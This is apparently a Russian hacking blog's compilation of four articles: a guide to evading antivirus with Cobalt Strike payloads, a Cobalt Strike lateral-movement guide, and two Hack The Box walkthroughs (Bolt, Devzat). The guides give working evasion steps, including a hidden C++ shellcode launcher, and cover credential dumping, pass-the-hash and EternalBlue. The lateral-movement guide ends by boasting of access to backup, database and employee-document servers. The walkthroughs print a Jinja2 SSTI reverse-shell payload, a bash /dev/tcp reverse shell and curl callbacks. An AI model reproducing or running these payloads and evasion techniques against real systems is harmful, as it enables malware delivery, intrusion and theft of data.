Обфускация Cobalt Strike для самых маленьких. Часть 3. Уходим от обнаружения 

Эта статья является продолжением обзоров/гайдов Cobalt Strike, в ней речь пойдёт о шифровании пейлоада и уклонении от антивирусов. Ознакомится с прошлыми частями можно тут. Про способы доставки полезной нагрузки можно узнать тут.

Veil-Framework

Начнём с достаточно старого фреймворка – Veil-Framework (скачать можно тут), это инструмент для создания исполняемых файлов с полезной нагрузкой, который поможет обойти обычные антивирусные решения. Функций у данного фреймворка очень много, но мы разберём лишь основные из них. 

Сначала нужно сгенерировать пейлоад с кобы, для этого заходим в Attacks -> Packages -> Payload Generator: 

В окне генерации пейлоада выбираем Veil: 

Нажимаем ОК и указываем путь, куда кобальт сохранит полезную нагрузку: 

Теперь мы можем запустить Veil, для этого используем команду python3 Veil.py

Выбираем первый пункт (Evasion) командой use 1

Далее выбираем пейлоад из списка (для примера возьмём python/shellcode_inject/flat.py ): 

Теперь необходимо создать exe файл, для этого вводим generate и указываем пейлоад из кобы, после этого выбираете чем создать exe (можно просто пропустить, по умолчанию используется PyInstaller): 

В конце работы Veil сообщит место с пейлоадом: 

Передаём файл на тестовую машину и запускаем его: 

Спустя несколько секунд мы получим коннект в кобе: 

Если вам интересно, как и с чем ещё можно использовать Veil, то вы можете почитать доклад из NCECA 2021, в нём разобрано создание бэкдора с использованием Metasploit. 

Меняем байты

Ещё один способ уйти от обнаружения Windows Defender – поменять один или несколько байтов из пейлоада кобальта. 

Как и в случае с Veil нам необходимо создать пейлоад, делаем всё тоже самое, но в output выбираем C (если пейлоад для x86 не сработает, то стоит попробовать x64): 

Теперь поместим полученный нами шелл-код в “лаунчер”, который напишем на C++. Работать он будет примерно так: 

  1. Изменяем \xfc на любое другое байтовое значение (как пример можно использовать \xfd); 
  1. Сохраняем правильный первый байт \xfc в переменной first; 
  1. Перед копированием полного шелл-кода во вновь выделенную память замените плохой байт \xfd на хороший \xfc; 
  1. Запускаем шеллкод. 

Код: 

#include “Windows.h” 

int main(int argc, char *argv[]) { 

::ShowWindow(::GetConsoleWindow(), SW_HIDE); 

  unsigned char shellcode[] = “\xfd\ШЕЛЛКОД_КОБАЛЬТА”; 

char first[] = “\xfc”; 

void *exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); 

memcpy(shellcode, first, 1); 

memcpy(exec, shellcode, sizeof shellcode); 

((void(*)())exec)(); 

return 0; 

Скомпилировать код можно в Codeblocks, для этого нужно нажать на кнопку build: 

После запуска скомпилированного exe в кобу должен постучать наш хост: 

ScareCrow

ScareCrow описывается как “платформа для создания полезной нагрузки”. Вы можете прочитать все о том, как это работает здесь. Если говорить кратко, то мы генерируем шелл-код из программного обеспечения по нашему выбору (Cobalt Strike, Metasploit, PoshC2 и т. д.) и передаём его в ScareCrow, чтобы вернуть загрузчик, который будет реализовывать некоторые распространенные методы уклонения от АВ. ScareCrow берет ваш “необработанный” шелл-код и шифрует его с помощью AES, что позволяет избежать статического обнаружения на диске, когда продукт защиты сканирует созданный вами загрузчик. Защитник Windows довольно хорошо распознает шелл-код маяка Cobalt Strike, поэтому этот шаг имеет решающее значение. 

После выполнения сгенерированного загрузчика он обойдет хуки АВ на NTDLL.DLL загрузив чистую копию NTDLL.DLL (а также kernel32.dll и kernelbase.dll) с диска и заменит его подключенным в вашем пространстве процессов. После он использует системные вызовы для загрузки, расшифровки и запуска вашего шелл-кода в памяти. Использование сисколов – отличный способ избежать перехватов и мониторинга поведения. Я не буду здесь вдаваться в подробности, вы можете прочитать больше о том, как это работает в репозитории GitHub

Для создания первоначального пейлоада нужно перейти в Attacks -> Packages -> Windows Executable (S): 

Теперь нужно клонировать репозиторий ScareCrow и следовать инструкциям по установке в README, а также установить несколько зависимостей, таких как golang, mingw-w64 и т. Д. 

Команда для запуска фреймворка: 

./ScareCrow -I /path/to/your/payload.bin – noetw -domain www.microsoft.com 

Домен можете использовать любой, который вы захотите, -etw предотвращает создание событий ETW. После запуска команды ScareCrow возьмет ваш шелл-код, зашифрует его и сгенерирует файл .exe: 

После запуска exe, дефендер пропустит пейлоад, а мы получим коннект к кобе: 

AV_Bypass_Framework_V3

При выполнении инъекции DLL требуются два компонента. PE с шеллкодом и загрузчик. Загрузчик обычно представляет собой код, который загружает вредоносную библиотеку DLL в память цели и вызывает нужные функции из библиотеки DLL. PE в нашем случае вредоносная библиотека DLL, которая будет загружена в память цели с помощью загрузчика и выполнена для запуска желаемой полезной нагрузки. 

Как вы можете судить по названию, у этого инструмента есть несколько версий. Идея состояла в том, чтобы автоматизировать создание вредоносной библиотеки DLL, которую затем можно было бы внедрить в память цели для запуска полезной нагрузки. 

Инструмент AV_Bypass_Framework_V3 принимает строку кода в кодировке base64 в формате C# и выдает DLL и загрузчик PowerShell, которые можно использовать в ваших целях. Это можно сделать следующим образом: 

AV_Bypass_Framework_V3.exe ПУТЬ_К_Б64_ШЕЛЛКОДУ 

Для создания нужного нам шеллкода необходимо использовать скрипт CCSG (https://github.com/RCStep/CSSG), после его установки вы увидите в панели сверху меню Shellcode: 

Теперь у нас есть шеллкод, который подходит для AV_Bypass_Framework, запускаем утилиту и получаем зашифрованный пейлоад: 

Что делать с DLL дальше? Вариантой много, но мы рассмотрим только два: 

  1. Мы можем воспользоваться инжектором dll, который писали тут
  1. Использовать dcom_av_exec.  

DCOM_AV_EXEC позволяет осуществлять “бездисковое” боковое перемещение к цели в той же сети через DCOM. Чтобы использовать DCOM_AV_EXEC, вам необходимо иметь разрешения локального администратора для цели (например, это может быть с помощью украденного/созданного токена на вашем текущем маяке Cobalt Strike или, например, при наличии существующего сеанса в качестве локального администратора на вашем маяке, который также имеет эквивалентные разрешения для пользователя целевого домена с правами локального администратора на обеих машинах). 

В зависимости от механизмов обнаружения, присутствующих в целевой сети, боковое перемещение DCOM может быть полезным. Такие инструменты, как psexec или wmiexec, являются шумными и часто отслеживаются. Боковое движение DCOM все еще может остаться незамеченным при правильных обстоятельствах. 

Как использовать DCOM_AV_EXEC? 

  • Разместите созданный AV_BYPASS_FRAMEWORK_V3 DLL (AutoGen.dll) в кобальте; 
  • Измените файл Cradle.ps1 (создаётся AV_BYPASS_FRAMEWORK_V3) на библиотеку DLL, размещенную в Cobalt Strike. Также разместите файл Cradle.ps1 в Cobalt Strike. 
  • Выполните DCOM_AV_EXEC с целевым и размещенным URL-адресом cradle.ps1 в качестве аргументов (execute-assembly ПУТЬ_К_DCOM_AV_EXEC /target:ЦЕЛЬ-СЕРВЕР /cradle:http://АЙПИ_КОБАЛЬТА/cradle.ps1): 

Об этом мы расскажем в следующих статьях.

Выводы

Избегайте размещения чего-либо на диске. Поскольку по умолчанию АВ-решение со сканированием в реальном времени будет анализировать файл на предмет вредоносного содержимого. 2) Шифрование или кодирование шелл-кода имеет большое значение, так как вредоносный шелл-код в обычном формате будет обнаружен. Будь то в памяти или на диске. 3) Найдите способ запускать ваши функции только при вызовах определенных частей кода, а не как часть основного метода – это может помочь обмануть эвристику. 

Руководство по Cobalt Strike для самых маленьких. Часть 2

Проникновение – только первый этап взлома сети. Дальше ещё необходимо в ней закрепиться, получить учетные записи пользователей и обеспечить возможность запуска произвольного кода на всех компах. С этой задачей отлично справляется Cobalt Strike, который давно и горяче любим как пен-тестерами, так и различными хакерскими группировками по всему миру. Мы продолжаем цикл статей об этом замечательном инструменте.

В первой части, мы изучали доставку полезной нагрузки и получали максимальные права в системе, а сегодня тебе предстоит узнать, что такое lateral movement, как сканировать сеть с помощью модуля portscan, как запускать прокси сервер в сети, как “подружить” metasploit с кобальтом, а также научитесь осуществлять атаки pass-the-hash. Все наши статьи по Cobalt Strike можно найти тут, подробнее о техниках описанных в этой статье можно узнать тут и тут. 

Что такое lateral movement?

Боковое перемещение относится к методам, которые атакующие используют после получения первоначального доступа для дальнейшего передвижения в сети. Боковое перемещение позволяет избежать обнаружения и сохранить доступ, даже если нас обнаружат на машине, которая была заражена ранее. 

Для перемещения по сети нам потребуются:  

Действительные учетные данные для входа. Один из способов получить эти учетные данные – обманом заставить пользователей делиться ими с помощью тактики социальной инженерии, Вы также можете найти пароли или логины в файлах на сервере. 

Атака pass-the-hash – метод аутентификации без доступа к паролю пользователя. Этот метод обходит стандартные шаги аутентификации, захватывая действительные хэши паролей, которые после аутентификации позволяют злоумышленнику выполнять действия в локальных или удаленных системах. 

Mimikatz – используются для кражи кэшированных паролей открытого текста или сертификатов аутентификации из памяти скомпрометированной машины. Затем их можно использовать для аутентификации на других компьютерах. 

Metasploit – один из мощнейших инструментов, который могут использовать как киберпреступники, так и «белые хакеры» и специалисты по проникновению для исследования уязвимостей в сетях и на серверах. Поскольку это фреймворк с открытым исходным кодом, его можно легко настроить и использовать на большинстве операционных систем. 

Без лишних слов перейдем сразу к практике

Допустим, у нас есть пользователь, с правами администратора и мы хотим получить доступ к другим машинам в этой сети, что делать? Ответ – дампить пароли других пользователей! 

Сделать это можно командой hashdump: 

Или с помощью Mimikatz, командой logonpasswords: 

Ищем доступные хосты

После получения паролей, нам нужно найти доступные для атаки системы, для этого воспользуемся командой portscan: 

Получить айпи мы также можем из вывода команды arp: 

Используя net view, мы также получаем список машин, их домены и версию системы: 

После сканирования, во вкладке targets появятся новые хосты: 

Получаем доступ с помощью pass-the-hash

Для этого нажимаем ПКМ по одной из доступных машин и выбираем psexec_psh, далее указываем данные пользователя из нашего домена, listener, а также сессию, с которой будет осуществляться атака: 

Если атака прошла успешно, спустя несколько секунд мы получим отстук и сможем осуществлять дальнейшее перемещение по сети или сбор данных: 

Используем Metasploit и другое ПО с кобальтом

С помощью модуля встроенного в Cobalt Strike мы можем создать себе доступ в атакуемую сеть через прокси сервер, для этого в консоли нам нужно перевести сессию в интерактивный режим и после этого с помощью socks порт запустить прокси сервис: 

Теперь мы можем использовать proxychains для доступа в сеть, чтобы всё работало нужно в файле конфигурации (/etc/proxychains.conf) добавить строку socks4 айпи_тимсервера порт. После этого вы сможете запускать nmap, enum4linux, скрипты Python в атакуемой сети, пример команды: 

proxychains nmap 192.168.1.100 -p 445

Чтобы использовать Metasploit, во вкладке proxy pivots нужно выбрать сессию с прокси, нажать tunnel, после чего скопировать однострочную команду и ставить её в консоль Metasploit: 

Теперь любой модуль Metasploit будет пускать трафик через прокси прямо в атакуемую сеть, что значительно облегчает использование эксплоитов и сканеров. Для примера я запустил сканер eternalblue, это достаточно известная (хоть и уже старая) уязвимость, которую частенько можно встретить внутри сети, она затрагивает почти все версии Windows, вплоть до 8.1: 

Спустя какое-то время сканер нашёл уязвимый хост: 

Использование модуля Metasploit выглядит следующим образом: 

При эксплуатации я использовал стандартный пейлоад (при желании вы можете указать windows/meterpreter/reverse_http и получить отстук сразу в кобу) и получил сессию meterpreter, после чего запустил однострочный PS скрипт доставки пейлоада кобальта: 

Также бывают случаи, когда сессию кобальта необходимо передать в метасплоит, для этого нужно создать отдельный  foreign http listener, в котором указать айпи и порт Metasploit: 

В метасплоите нужно выбрать exploit/multi/handler с пейлоадом windows/meterpreter/reverse_http и указать там свои порт и айпи. После передачи или создании сессии в кобальте мы получим коннект meterpreter: 

Мы также можем получить доступ в сеть, используя autoroute в сессии meterpreter, работает это также как и socks прокси: 

С помощью всё того же eternalblue мне удалось получить доступ к ещё одному серверу, но уже в другой сети: 

Используя техники описанные выше, я смог получить доступ к серверам с бэкапами, базами данных и личными документами сотрудников:

Как видишь, ничего сложного. Надо было только разобраться… Удачного взлома…

Тяжело в учении – легко в бою. Прохождение HTB Bolt

Тяжело в учении – легко в бою. Мы специально публикуем CTF, которые действительно актуальны на данный момент, чтобы ты, раздолбай, научился ломать ресурсы на тестовых машинах, чтобы потом не оплошать в реальных ситуациях. Ну, это почти как с девушками). И вот, как всегда – актуальная тема. Поехали?

В этой статье мы раз­берем среднюю по сложности машину из HTB – Bolt. На при­мере её про­хож­дения ты научишь­ся экс­плу­ати­ровать SSTI (Server Side Template Injection), брутить PGP ключи и md5 хэши.

Сканирование портов и получение скрытых доменов

IP машины — 10.10.11.114, сразу заносим его в /etc/hosts:

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да. 

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap, который мы будем запускать с такими параметрами: 

-T4 – увеличит скорость сканирования, но при этом нас будет легче обнаружить, так что этот аргумент стоит использовать лишь при легальном пентесте; 

-p- – этот аргумент указывает на сканирование всех портов, при желании можно указать нужные вам через запятую, это также ускорит процесс; 

-A – позволяет обнаружить версию операционной системы и версии установленного ПО; 

-o – аргумент для экспорта результатов в файл. 

Паралельно с nmap запускаем Gobuster (по умолчанию в Kali отсутствует, установить можно с помощью команды: sudo apt-get install gobuster), чтобы получить  субдомены. Запускаем, используя команду: 

Gobuster нашёл два субдомена, которые мы добавляем в /etc/hosts: 

Извлечение паролей из архива

Перейдя на mail.bolt.htb мы видим форму авторизации, но паролей у нас пока нет поэтому пропускаем и идём дальше.

На судбомене demo.bolt.htb включена регистрация, но для этого нужно знать инвайт-код, которого у нас пока тоже нет. 

На основном домене есть страница, которая позволяет загружать образ докер контейнера и в нём наверняка есть что-то для нас, поэтому скачиваем и распаковываем:

Создаём папку и с помощью wget скачиваем туда архив, после чего распаковываем используя tar –xf image.tar: 

Внутри будет ещё несколько папок, внутри которые существуют архивы layer.tar, в одном из таких мы находим базу данных (db.sqlite3): 

Подключаемся к этой бд и получаем пароль администратора: 

С помощью hashcat и rockyou.txt брутим хеш: 

Узнать какой режим нужно использовать можно из этой таблицы (в нашем случае это 500): 

Используя логин admin и пароль deadbolt попадаем в панель на основном домене, но она не позволяет загружать файлы или редактировать шаблоны, а значит нужно искать дальше: 

Раскручиваем SSTI в RCE 

Помните про инвайт-код, который необходим для регистрации? Достать его можно всё в том же архиве, для этого используем команду grep –iR –A 2 “invite_code” 2>/dev/null:

Спустя какое-то время grep найдёт код, и мы увидим его в терминале. Теперь можем создать аккаунт на домене demo.bolt.htb (с этими же данными мы можем войти на домен mail.bolt.htb): 

В этой панели гараздо больше функционала, а внизу мы видим надпись AadminLTE Flask, это значит, что бэкэнд написан на Python и можно поискать известные уязвимости. Самой распространенной можно назвать SSTI (Server Side Template Injection), она заключается в том, как Flask обрабатывает html шаблоны. Если описывать без подробностей, то используя “{{ код Python }}” мы можем выполнять системные команды (модуль sysytem, subprocess и тд.). 

Если ввод пользователя никак не фильтруется, то он может отправить такой пейлоад и получить RCE: 

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘whoami’).read() }} 

Чтобы понять детальнее как и почему это происходит мы создадим простое приложение, которое будет отображать на странице ввод пользователя. 

Пример уязвимого кода:

from flask import Flask, render_template_string, request 
 
app = Flask(__name__) 
 
 
def create_html(user_name): 
    html = f””” 
            <!DOCTYPE html> 
            <html lang=”en”> 
                <head> 
                    <meta charset=”utf-8″ /> 
                    <meta http-equiv=”X-UA-Compatible” content=”IE=edge” /> 
                    <meta name=”viewport” content=”width=device-width, initial-scale=1, shrink-to-fit=no” /> 
                    <title>Data Manager</title> 
                </head> 
                <body> 
                <p>Name: {user_name}</p> 
                </body> 
            </html> 
    “”” 
    return html 
 
 
@app.route(“/”) 
def main(): 
    user_name = request.args.get(“name”, default=None) 
    if user_name: 
        return render_template_string(create_html(user_name)) 
    else: 
        return “Enter name!” 
 
 
if __name__ == ‘__main__’: 
    app.run(debug=True, port=8080, use_reloader=False, host=”127.0.0.1″)

Перейдя по адресу localhost:8080/?name=Сybersec мы видим простую html страничку, на которой можно увидеть введенные данные: 

Но если мы вставим в параметр “{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen(‘whoami’).read() }}”, то получим имя системного пользователя. Flask понимает, что код, находящийся в скобках {{  }} нужно выполнить и просто делает свою работу: 

Пример исправленного кода: 

from flask import Flask, render_template_string, request 
 
app = Flask(__name__) 
 
 
@app.route(“/”) 
def main(): 
    user_name = request.args.get(“name”, default=None) 
    if user_name: 
        return render_template_string(“”” 
            <!DOCTYPE html> 
            <html lang=”en”> 
                <head> 
                    <meta charset=”utf-8″ /> 
                    <meta http-equiv=”X-UA-Compatible” content=”IE=edge” /> 
                    <meta name=”viewport” content=”width=device-width, initial-scale=1, shrink-to-fit=no” /> 
                    <title>Data Manager</title> 
                </head> 
                <body> 
                <p>Name: {{ user_name }}</p> 
                </body> 
            </html> 
    “””, user_name=user_name) 
    else: 
        return “Enter name!” 
 
 
if __name__ == ‘__main__’: 
    app.run(debug=True, port=8080, use_reloader=False, host=”127.0.0.1″)

В репозитории PayloadsAllTheThings есть раздел с SSTI, в котором собраны уже готовые пэйлоады.

На странице profile, мы находим поле, куда можно инжектить код. Пока мы точно не знаем какое поле уязвимо, поэтому поменяем команды для каждого из них: 

После нажатия на submit, нас попросят подтвердить изменения через почту, для этого переходим на mail.bolt.htb и заходим со своими данными: 

В поле name я вставлял команду id и именно её нам отображает письмо на почте:

Мы также можем посмотреть версию операционной системы (uname): 

Reverse shell и повышение привелегий

Используя такой пейлоад мы получим реверс шелл (порт и айпи нужно поменять на ваши): 

{% for x in ().__class__.__base__.__subclasses__() %}{% if “warning” in x.__name__ %}{{x()._module.__builtins__[‘__import__’](‘os’).popen(“python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\”IP\”,PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\”/bin/bash\”]);'”).read().zfill(417)}}{%endif%}{% endfor %} 

Если вы всё сделали правильно, то сразу же после подтверждения получите бэкконект:

С помощью команды python3 –c ‘import pty;pty.spawn(“/bin/bash”)’ или /bin/bash -i спавним интерактивный шелл: 

Используя find / -perm -g=w ! -path “/proc/*” ! -path “/sys/*” -group $(groups) -exec ls -lLd {} + мы находим список доступных для записи файлов, которые принадлежат нашей группе (www-data): 

В папке /etc/passbolt находим файл конфигурации с паролями к бд: 

Подключаемся к бд (mysql -D passboltdb -u passbolt -p) и получаем письмо, которое нужно будет расшифровать: 

Список доступных таблиц: 

Смотрим таблицу users, но паролей там не находим: 

Таблица secrets: 

Находим письмо, которое нужно расшифровать, но пока ключа у нас для этого нет, поэтому просто сохраняем себе: 

Флаг user.txt

На этом этапе я завис и долго думал, что делать дальше, но решение оказалось как всегда несколько неочевидным. Из /etc/passwd или из папки /home/ получаем пользователей и пробуем зайти, используя пароль для БД:

Мы также можем использовать ssh: 

Первый флаг: 

Получаем флаг root.txt 

Подключившись через ssh, мы надпись “You have mail”, поэтому проверяем файл /var/mail/eddie:

Пользователь Clark отправил Eddie письмо, в котором рассказал о сервере управления паролями и попросил его сделать резервную копию закрытого ключа. Если мы заглянем в файл журнала (strings “.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log”), то найдем этот ключ: 

Копируем ключ в файл и удаляем строки \r\n командой python3 –c ‘f=open(“pgp_private.txt”, “r”).read();a=f.split(“\\\\r\\\\n”);b=open(“clear_key.txt”, “w”).write(“\n”.join(a))’:

Получаем хеш, который будем брутить используя JohnTheRipper:

Брутим хеш и получаем пароль из хеша:

Теперь импортируем приватный ключ: 

Расшифровываем письмо из БД и получаем пароль: 

Получаем рут: 

Отправляем найденные флаги и на этом прохождение Bolt заканчивается: 

Прохождение HTB Devzat

В этой статье мы раз­берем среднюю по сложности машину из HTB – Devzat. На при­мере её про­хож­дения ты научишь­ся экс­плу­ати­ровать CVE-2019-20933, дампить открытые Git репозитории, находить command injection в веб-приложениях и получать рут с помощью тех­ники path traversal. Словари, которые я использовал можно найти тут

Сканирование портов

IP машины — 10.10.11.118, сразу заносим его в /etc/hosts: 

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да. 

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap, который мы будем запускать с такими параметрами: 

-T4 – увеличит скорость сканирования, но при этом нас будет легче обнаружить, так что этот аргумент стоит использовать лишь при легальном пентесте; 

-p- – этот аргумент указывает на сканирование всех портов, при желании можно указать нужные вам через запятую, это также ускорит процесс; 

-A – позволяет обнаружить версию операционной системы и версии установленного ПО; 

-o – аргумент для экспорта результатов в файл. 

После сканирования мы видим 22, 80 и 8000 порты. Брут SSH на  22 порту, особенно на машинках из HTB ничего не даст, поэтому перейдем сразу к 80: 

Получаем новый субдомен

Открыв devzat.htb мы видим обычный с виду одностраничный сайт, но пытаясь сбрутить директории ничего не получим, а значит нужно перейти к поиску субдоменов. Делать это удобнее всего с помощью Gobuster (по умолчанию в Kali отсутствует, установить можно с помощью команды: sudo apt-get install gobuster), ведь в нём есть функция брута виртуальных хостов (режим vhost). Запускаем, используя команду:

gobuster vhost -u http://devzat.htb -w словарь -r 

Если вы всё сделали без ошибок, то Gobuster найдёт субдомен pets, сразу добавляем его в /etc/hosts: 

Запуск dirsearch 

Перейдя на pets.devzat.htb мы видим ещё один сайт, в котором можно добавлять животных, тем самым обращаясь к API, но об этом немного позже. Запускаем dirsearch (скачать можно тут), чтобы найти скрытые файлы и директории, сделать это можно с помощью команды: 

dirsearch -u http://pets.devzat.htb -e txt,php,html -t 20 –x 400,404 

Спустя несколько секунд, мы увидим открытый репозиторий Git (что это такое и как это эксплуатировать можно узнать тут). Дампим его утилитой git-dumper (скачать можно тут): 

RCE в функции loadCharacter 

Дождавшись, когда git-dumper закончит работу и открыв файл main.go, мы увидим возможность внедрения произвольных команд в момент запроса к API: 

Функция loadCharacter никак не защищена от возможности внедрения системных команд, чем мы и воспользуемся. Открываем BurpSuite, ловим запрос с формы и отсылаем его в репитер: 

В репитере мы можем редактировать запрос и добавить туда команду curl наш_айпи:порт_nc, таким образом убедимся, что запросы из системы могут к нам долететь: 

Немного отредактировав команду, получаем имя пользователя и текущую директорию: 

Реверс шелл

Закодировав в бейс64 команду  
bash -i >& /dev/tcp/айпи/порт_nc 0>&1, мы получаем бэкконект:

Получаем флаг user.txt

Немного покопавшись в системе, мы замечаем запущенный контейнер с портом 8086: 

Прокидываем этот порт себе для дальнейшего изучения используя chisel (скачать можно тут). Качаем на атакующую машину и запускаем веб-сервер, с которого будем передавать утилиту на Devzat: 

Запускаем chisel: 

Когда порт проброшен, запускаем nmap: 

Немного погуглив, понимаем, что для InfluxDB есть эксплоит: 

Уязвимость позволяет обойти процесс аутентификации, а существует из-за того, что токен JWT может иметь пустой секретный ключ в функции аутентификации в services/httpd/handler.go, таким образом мы получим несанкционированный доступ к базе данных. Запускаем эксплоит и указываем путь к словарю с именами пользователей: 

Получаем пароли из БД: 

Идём по порядку и пробуем зайти как catherine: 

Получаем первый флаг user.txt: 

Повышаем права

Используя команду find / -type f -maxdepth 3 –writable, мы находим доступные для записи файлы и папки, в которых лежат бекапы:

Копируем архивы в tmp и там их открываем: 

Используя команду diff dev/commands.go main/commands.go >> diff.txt, мы находим функцию, которая позволяет читать файлы, если введённый пароль соответствует тому, который в этой функции указан: 

Консоль, которую мы используем сейчас очень ограничена, чтобы получить нормальный коннект по SSH нужно создать файлы id_rsa и id_rsa.pub, которые мы перекинем на взломанную машину: 

После создания ключей запускаем веб-сервер, качаем id_rsa.pub на Devzat и подключаемся по SSH с использованием ключа id_rsa (ssh [email protected] -i id_rsa) 

После нескольких минут, мы найдем открытый порт 8443, который доступен только из локальной сети Devzat. На этом порту работает SSH и тот самый билд программы, которая позволяет читать файлы с использованием пароля, который мы уже знаем. Заходим, используя любой логин: 

Смотрим доступные команды: 

Флаг root.txt

Немного потыкав команду file, мы получаем возможность читать любой системный файл:

На этом прохождение Devzat заканчивается, загружаем флаги в HackTheBox, и получаем баллы: